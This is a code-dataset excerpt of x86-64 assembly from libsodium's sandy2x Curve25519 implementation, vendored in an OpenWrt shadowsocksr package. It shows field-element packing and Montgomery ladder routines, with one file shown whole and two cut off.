%xmm3,%xmm5 vpmuludq 688(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 vpmuludq 704(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm8 vpmuludq 736(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 pmuludq 752(%rsp),%xmm2 paddq %xmm2,%xmm10 vpmuludq 480(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 528(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 560(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 592(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 624(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 656(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 688(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 720(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 736(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 pmuludq 768(%rsp),%xmm1 paddq %xmm1,%xmm11 movdqa 448(%rsp),%xmm1 paddq %xmm1,%xmm0 vpunpcklqdq %xmm0,%xmm1,%xmm2 vpunpckhqdq %xmm0,%xmm1,%xmm0 vpmuludq 480(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm13 vpmuludq 512(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 560(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm6 vpmuludq 576(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm5 vpmuludq 624(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm7 vpmuludq 640(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm8 vpmuludq 688(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm9 vpmuludq 704(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm10 vpmuludq 736(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm11 pmuludq 752(%rsp),%xmm2 paddq %xmm2,%xmm12 vpmuludq 480(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm0 vpmuludq 528(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm6 vpmuludq 560(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm5 vpmuludq 592(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm7 vpmuludq 624(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm8 vpmuludq 656(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm9 vpmuludq 688(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm10 vpmuludq 720(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm11 vpmuludq 736(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm12 pmuludq 768(%rsp),%xmm0 paddq %xmm0,%xmm13 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm5,%xmm0 paddq %xmm0,%xmm7 pand m25(%rip),%xmm5 vpsrlq $26,%xmm11,%xmm0 paddq %xmm0,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm7,%xmm0 paddq %xmm0,%xmm8 pand m26(%rip),%xmm7 vpsrlq $25,%xmm12,%xmm0 paddq %xmm0,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm8,%xmm0 paddq %xmm0,%xmm9 pand m25(%rip),%xmm8 vpsrlq $26,%xmm13,%xmm0 paddq %xmm0,%xmm14 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm0 paddq %xmm0,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm14,%xmm0 vpsllq $4,%xmm0,%xmm1 paddq %xmm0,%xmm6 psllq $1,%xmm0 paddq %xmm0,%xmm1 paddq %xmm1,%xmm6 pand m25(%rip),%xmm14 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpunpckhqdq %xmm5,%xmm6,%xmm1 vpunpcklqdq %xmm5,%xmm6,%xmm0 vpunpckhqdq %xmm8,%xmm7,%xmm3 vpunpcklqdq %xmm8,%xmm7,%xmm2 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm4 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm6 vpunpckhqdq %xmm14,%xmm13,%xmm9 vpunpcklqdq %xmm14,%xmm13,%xmm8 cmp $0,%rdx jne ._ladder_loop movdqu %xmm1,160(%rdi) movdqu %xmm0,80(%rdi) movdqu %xmm3,176(%rdi) movdqu %xmm2,96(%rdi) movdqu %xmm5,192(%rdi) movdqu %xmm4,112(%rdi) movdqu %xmm7,208(%rdi) movdqu %xmm6,128(%rdi) movdqu %xmm9,224(%rdi) movdqu %xmm8,144(%rdi) movq 1824(%rsp),%r11 movq 1832(%rsp),%r12 movq 1840(%rsp),%r13 movq 1848(%rsp),%r14 add %r11,%rsp ret #endif

281677160/openwrt-package

3,455

luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/fe51_pack.S

#ifdef IN_SANDY2X /* This file is the result of merging amd64-51/fe25519_pack.c and amd64-51/fe25519_freeze.s. */ #include "fe51_namespace.h" #include "consts_namespace.h" .p2align 5 .globl fe51_pack .globl _fe51_pack #ifdef __ELF__ .type fe51_pack, @function .type _fe51_pack, @function #endif fe51_pack: _fe51_pack: mov %rsp,%r11 and $31,%r11 add $32,%r11 sub %r11,%rsp movq %r11,0(%rsp) movq %r12,8(%rsp) movq 0(%rsi),%rdx movq 8(%rsi),%rcx movq 16(%rsi),%r8 movq 24(%rsi),%r9 movq 32(%rsi),%rsi movq REDMASK51(%rip),%rax lea -18(%rax),%r10 mov $3,%r11 ._reduceloop: mov %rdx,%r12 shr $51,%r12 and %rax,%rdx add %r12,%rcx mov %rcx,%r12 shr $51,%r12 and %rax,%rcx add %r12,%r8 mov %r8,%r12 shr $51,%r12 and %rax,%r8 add %r12,%r9 mov %r9,%r12 shr $51,%r12 and %rax,%r9 add %r12,%rsi mov %rsi,%r12 shr $51,%r12 and %rax,%rsi imulq $19, %r12,%r12 add %r12,%rdx sub $1,%r11 ja ._reduceloop mov $1,%r12 cmp %r10,%rdx cmovl %r11,%r12 cmp %rax,%rcx cmovne %r11,%r12 cmp %rax,%r8 cmovne %r11,%r12 cmp %rax,%r9 cmovne %r11,%r12 cmp %rax,%rsi cmovne %r11,%r12 neg %r12 and %r12,%rax and %r12,%r10 sub %r10,%rdx sub %rax,%rcx sub %rax,%r8 sub %rax,%r9 sub %rax,%rsi mov %rdx,%rax and $0xFF,%eax movb %al,0(%rdi) mov %rdx,%rax shr $8,%rax and $0xFF,%eax movb %al,1(%rdi) mov %rdx,%rax shr $16,%rax and $0xFF,%eax movb %al,2(%rdi) mov %rdx,%rax shr $24,%rax and $0xFF,%eax movb %al,3(%rdi) mov %rdx,%rax shr $32,%rax and $0xFF,%eax movb %al,4(%rdi) mov %rdx,%rax shr $40,%rax and $0xFF,%eax movb %al,5(%rdi) mov %rdx,%rdx shr $48,%rdx mov %rcx,%rax shl $3,%rax and $0xF8,%eax xor %rdx,%rax movb %al,6(%rdi) mov %rcx,%rdx shr $5,%rdx and $0xFF,%edx movb %dl,7(%rdi) mov %rcx,%rdx shr $13,%rdx and $0xFF,%edx movb %dl,8(%rdi) mov %rcx,%rdx shr $21,%rdx and $0xFF,%edx movb %dl,9(%rdi) mov %rcx,%rdx shr $29,%rdx and $0xFF,%edx movb %dl,10(%rdi) mov %rcx,%rdx shr $37,%rdx and $0xFF,%edx movb %dl,11(%rdi) mov %rcx,%rdx shr $45,%rdx mov %r8,%rcx shl $6,%rcx and $0xC0,%ecx xor %rdx,%rcx movb %cl,12(%rdi) mov %r8,%rdx shr $2,%rdx and $0xFF,%edx movb %dl,13(%rdi) mov %r8,%rdx shr $10,%rdx and $0xFF,%edx movb %dl,14(%rdi) mov %r8,%rdx shr $18,%rdx and $0xFF,%edx movb %dl,15(%rdi) mov %r8,%rdx shr $26,%rdx and $0xFF,%edx movb %dl,16(%rdi) mov %r8,%rdx shr $34,%rdx and $0xFF,%edx movb %dl,17(%rdi) mov %r8,%rdx shr $42,%rdx movb %dl,18(%rdi) mov %r8,%rdx shr $50,%rdx mov %r9,%rcx shl $1,%rcx and $0xFE,%ecx xor %rdx,%rcx movb %cl,19(%rdi) mov %r9,%rdx shr $7,%rdx and $0xFF,%edx movb %dl,20(%rdi) mov %r9,%rdx shr $15,%rdx and $0xFF,%edx movb %dl,21(%rdi) mov %r9,%rdx shr $23,%rdx and $0xFF,%edx movb %dl,22(%rdi) mov %r9,%rdx shr $31,%rdx and $0xFF,%edx movb %dl,23(%rdi) mov %r9,%rdx shr $39,%rdx and $0xFF,%edx movb %dl,24(%rdi) mov %r9,%rdx shr $47,%rdx mov %rsi,%rcx shl $4,%rcx and $0xF0,%ecx xor %rdx,%rcx movb %cl,25(%rdi) mov %rsi,%rdx shr $4,%rdx and $0xFF,%edx movb %dl,26(%rdi) mov %rsi,%rdx shr $12,%rdx and $0xFF,%edx movb %dl,27(%rdi) mov %rsi,%rdx shr $20,%rdx and $0xFF,%edx movb %dl,28(%rdi) mov %rsi,%rdx shr $28,%rdx and $0xFF,%edx movb %dl,29(%rdi) mov %rsi,%rdx shr $36,%rdx and $0xFF,%edx movb %dl,30(%rdi) mov %rsi,%rsi shr $44,%rsi movb %sil,31(%rdi) movq 0(%rsp),%r11 movq 8(%rsp),%r12 add %r11,%rsp ret #endif

281677160/openwrt-package

30,292

luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/ladder_base.S

#ifdef IN_SANDY2X #include "ladder_base_namespace.h" #include "consts_namespace.h" .p2align 5 .globl ladder_base .globl _ladder_base #ifdef __ELF__ .type ladder_base, @function .type _ladder_base, @function #endif ladder_base: _ladder_base: mov %rsp,%r11 and $31,%r11 add $1568,%r11 sub %r11,%rsp movq %r11,1536(%rsp) movq %r12,1544(%rsp) movq %r13,1552(%rsp) movdqa v0_0(%rip),%xmm0 movdqa v1_0(%rip),%xmm1 movdqa v9_0(%rip),%xmm2 movdqa %xmm2,0(%rsp) movdqa %xmm0,16(%rsp) movdqa %xmm0,32(%rsp) movdqa %xmm0,48(%rsp) movdqa %xmm0,64(%rsp) movdqa %xmm1,80(%rsp) movdqa %xmm0,96(%rsp) movdqa %xmm0,112(%rsp) movdqa %xmm0,128(%rsp) movdqa %xmm0,144(%rsp) movdqa %xmm1,%xmm0 pxor %xmm1,%xmm1 pxor %xmm2,%xmm2 pxor %xmm3,%xmm3 pxor %xmm4,%xmm4 pxor %xmm5,%xmm5 pxor %xmm6,%xmm6 pxor %xmm7,%xmm7 pxor %xmm8,%xmm8 pxor %xmm9,%xmm9 movq 0(%rsi),%rdx movq 8(%rsi),%rcx movq 16(%rsi),%r8 movq 24(%rsi),%r9 shrd $1,%rcx,%rdx shrd $1,%r8,%rcx shrd $1,%r9,%r8 shr $1,%r9 xorq 0(%rsi),%rdx xorq 8(%rsi),%rcx xorq 16(%rsi),%r8 xorq 24(%rsi),%r9 leaq 512(%rsp),%rsi mov $64,%rax ._ladder_base_small_loop: mov %rdx,%r10 mov %rcx,%r11 mov %r8,%r12 mov %r9,%r13 shr $1,%rdx shr $1,%rcx shr $1,%r8 shr $1,%r9 and $1,%r10d and $1,%r11d and $1,%r12d and $1,%r13d neg %r10 neg %r11 neg %r12 neg %r13 movl %r10d,0(%rsi) movl %r11d,256(%rsi) movl %r12d,512(%rsi) movl %r13d,768(%rsi) add $4,%rsi sub $1,%rax jne ._ladder_base_small_loop mov $255,%rdx add $760,%rsi ._ladder_base_loop: sub $1,%rdx vbroadcastss 0(%rsi),%xmm10 sub $4,%rsi movdqa 0(%rsp),%xmm11 movdqa 80(%rsp),%xmm12 vpxor %xmm11,%xmm0,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm0 pxor %xmm13,%xmm11 vpxor %xmm12,%xmm1,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm1 pxor %xmm13,%xmm12 movdqa 16(%rsp),%xmm13 movdqa 96(%rsp),%xmm14 vpxor %xmm13,%xmm2,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm2 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm3,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm3 pxor %xmm15,%xmm14 movdqa %xmm13,0(%rsp) movdqa %xmm14,16(%rsp) movdqa 32(%rsp),%xmm13 movdqa 112(%rsp),%xmm14 vpxor %xmm13,%xmm4,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm4 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm5,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm5 pxor %xmm15,%xmm14 movdqa %xmm13,32(%rsp) movdqa %xmm14,80(%rsp) movdqa 48(%rsp),%xmm13 movdqa 128(%rsp),%xmm14 vpxor %xmm13,%xmm6,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm6 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm7,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm7 pxor %xmm15,%xmm14 movdqa %xmm13,48(%rsp) movdqa %xmm14,96(%rsp) movdqa 64(%rsp),%xmm13 movdqa 144(%rsp),%xmm14 vpxor %xmm13,%xmm8,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm8 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm9,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm9 pxor %xmm15,%xmm14 movdqa %xmm13,64(%rsp) movdqa %xmm14,112(%rsp) vpaddq subc0(%rip),%xmm11,%xmm10 psubq %xmm12,%xmm10 paddq %xmm12,%xmm11 vpunpckhqdq %xmm10,%xmm11,%xmm12 vpunpcklqdq %xmm10,%xmm11,%xmm10 vpaddq %xmm1,%xmm0,%xmm11 paddq subc0(%rip),%xmm0 psubq %xmm1,%xmm0 vpunpckhqdq %xmm11,%xmm0,%xmm1 vpunpcklqdq %xmm11,%xmm0,%xmm0 vpmuludq %xmm0,%xmm10,%xmm11 vpmuludq %xmm1,%xmm10,%xmm13 movdqa %xmm1,128(%rsp) paddq %xmm1,%xmm1 vpmuludq %xmm0,%xmm12,%xmm14 movdqa %xmm0,144(%rsp) paddq %xmm14,%xmm13 vpmuludq %xmm1,%xmm12,%xmm0 movdqa %xmm1,160(%rsp) vpaddq %xmm3,%xmm2,%xmm1 paddq subc2(%rip),%xmm2 psubq %xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm3 vpunpcklqdq %xmm1,%xmm2,%xmm1 vpmuludq %xmm1,%xmm10,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm3,%xmm10,%xmm2 movdqa %xmm3,176(%rsp) paddq %xmm3,%xmm3 vpmuludq %xmm1,%xmm12,%xmm14 movdqa %xmm1,192(%rsp) paddq %xmm14,%xmm2 vpmuludq %xmm3,%xmm12,%xmm1 movdqa %xmm3,208(%rsp) vpaddq %xmm5,%xmm4,%xmm3 paddq subc2(%rip),%xmm4 psubq %xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm4,%xmm5 vpunpcklqdq %xmm3,%xmm4,%xmm3 vpmuludq %xmm3,%xmm10,%xmm4 paddq %xmm4,%xmm1 vpmuludq %xmm5,%xmm10,%xmm4 movdqa %xmm5,224(%rsp) paddq %xmm5,%xmm5 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,240(%rsp) paddq %xmm14,%xmm4 vpaddq %xmm7,%xmm6,%xmm3 paddq subc2(%rip),%xmm6 psubq %xmm7,%xmm6 vpunpckhqdq %xmm3,%xmm6,%xmm7 vpunpcklqdq %xmm3,%xmm6,%xmm3 vpmuludq %xmm3,%xmm10,%xmm6 vpmuludq %xmm5,%xmm12,%xmm14 movdqa %xmm5,256(%rsp) pmuludq v19_19(%rip),%xmm5 movdqa %xmm5,272(%rsp) paddq %xmm14,%xmm6 vpmuludq %xmm7,%xmm10,%xmm5 movdqa %xmm7,288(%rsp) paddq %xmm7,%xmm7 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,304(%rsp) paddq %xmm14,%xmm5 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,320(%rsp) vpaddq %xmm9,%xmm8,%xmm3 paddq subc2(%rip),%xmm8 psubq %xmm9,%xmm8 vpunpckhqdq %xmm3,%xmm8,%xmm9 vpunpcklqdq %xmm3,%xmm8,%xmm3 movdqa %xmm3,336(%rsp) vpmuludq %xmm7,%xmm12,%xmm8 movdqa %xmm7,352(%rsp) pmuludq v19_19(%rip),%xmm7 movdqa %xmm7,368(%rsp) vpmuludq %xmm3,%xmm10,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm9,%xmm10,%xmm7 movdqa %xmm9,384(%rsp) paddq %xmm9,%xmm9 vpmuludq %xmm3,%xmm12,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,400(%rsp) pmuludq v19_19(%rip),%xmm12 vpmuludq %xmm9,%xmm12,%xmm3 movdqa %xmm9,416(%rsp) paddq %xmm3,%xmm11 movdqa 0(%rsp),%xmm3 movdqa 16(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm13 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm0 movdqa 32(%rsp),%xmm3 movdqa 80(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm2 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm1 movdqa 48(%rsp),%xmm3 movdqa 96(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm4 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm6 movdqa 64(%rsp),%xmm3 movdqa 112(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm5 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm8 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $26,%xmm6,%xmm3 paddq %xmm3,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm13,%xmm3 paddq %xmm3,%xmm0 pand m25(%rip),%xmm13 vpsrlq $25,%xmm5,%xmm3 paddq %xmm3,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm0,%xmm3 paddq %xmm3,%xmm2 pand m26(%rip),%xmm0 vpsrlq $26,%xmm8,%xmm3 paddq %xmm3,%xmm7 pand m26(%rip),%xmm8 vpsrlq $25,%xmm2,%xmm3 paddq %xmm3,%xmm1 pand m25(%rip),%xmm2 vpsrlq $25,%xmm7,%xmm3 vpsllq $4,%xmm3,%xmm9 paddq %xmm3,%xmm11 psllq $1,%xmm3 paddq %xmm3,%xmm9 paddq %xmm9,%xmm11 pand m25(%rip),%xmm7 vpsrlq $26,%xmm1,%xmm3 paddq %xmm3,%xmm4 pand m26(%rip),%xmm1 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpunpcklqdq %xmm13,%xmm11,%xmm3 vpunpckhqdq %xmm13,%xmm11,%xmm9 vpaddq subc0(%rip),%xmm9,%xmm10 psubq %xmm3,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm3,%xmm10,%xmm9 punpcklqdq %xmm3,%xmm10 vpmuludq %xmm10,%xmm10,%xmm3 paddq %xmm10,%xmm10 vpmuludq %xmm9,%xmm10,%xmm11 vpunpcklqdq %xmm2,%xmm0,%xmm12 vpunpckhqdq %xmm2,%xmm0,%xmm0 vpaddq subc2(%rip),%xmm0,%xmm2 psubq %xmm12,%xmm2 paddq %xmm0,%xmm12 vpunpckhqdq %xmm12,%xmm2,%xmm0 punpcklqdq %xmm12,%xmm2 vpmuludq %xmm2,%xmm10,%xmm12 vpaddq %xmm9,%xmm9,%xmm13 vpmuludq %xmm13,%xmm9,%xmm9 paddq %xmm9,%xmm12 vpmuludq %xmm0,%xmm10,%xmm9 vpmuludq %xmm2,%xmm13,%xmm14 paddq %xmm14,%xmm9 vpunpcklqdq %xmm4,%xmm1,%xmm14 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpaddq subc2(%rip),%xmm1,%xmm4 psubq %xmm14,%xmm4 paddq %xmm1,%xmm14 vpunpckhqdq %xmm14,%xmm4,%xmm1 punpcklqdq %xmm14,%xmm4 movdqa %xmm1,0(%rsp) paddq %xmm1,%xmm1 movdqa %xmm1,16(%rsp) pmuludq v19_19(%rip),%xmm1 movdqa %xmm1,32(%rsp) vpmuludq %xmm4,%xmm10,%xmm1 vpmuludq %xmm2,%xmm2,%xmm14 paddq %xmm14,%xmm1 vpmuludq 0(%rsp),%xmm10,%xmm14 vpmuludq %xmm4,%xmm13,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm5,%xmm6,%xmm15 vpunpckhqdq %xmm5,%xmm6,%xmm5 vpaddq subc2(%rip),%xmm5,%xmm6 psubq %xmm15,%xmm6 paddq %xmm5,%xmm15 vpunpckhqdq %xmm15,%xmm6,%xmm5 punpcklqdq %xmm15,%xmm6 movdqa %xmm6,48(%rsp) pmuludq v19_19(%rip),%xmm6 movdqa %xmm6,64(%rsp) movdqa %xmm5,80(%rsp) pmuludq v38_38(%rip),%xmm5 movdqa %xmm5,96(%rsp) vpmuludq 48(%rsp),%xmm10,%xmm5 vpaddq %xmm0,%xmm0,%xmm6 vpmuludq %xmm6,%xmm0,%xmm0 paddq %xmm0,%xmm5 vpmuludq 80(%rsp),%xmm10,%xmm0 vpmuludq %xmm4,%xmm6,%xmm15 paddq %xmm15,%xmm0 vpmuludq %xmm6,%xmm13,%xmm15 paddq %xmm15,%xmm1 vpmuludq %xmm6,%xmm2,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq 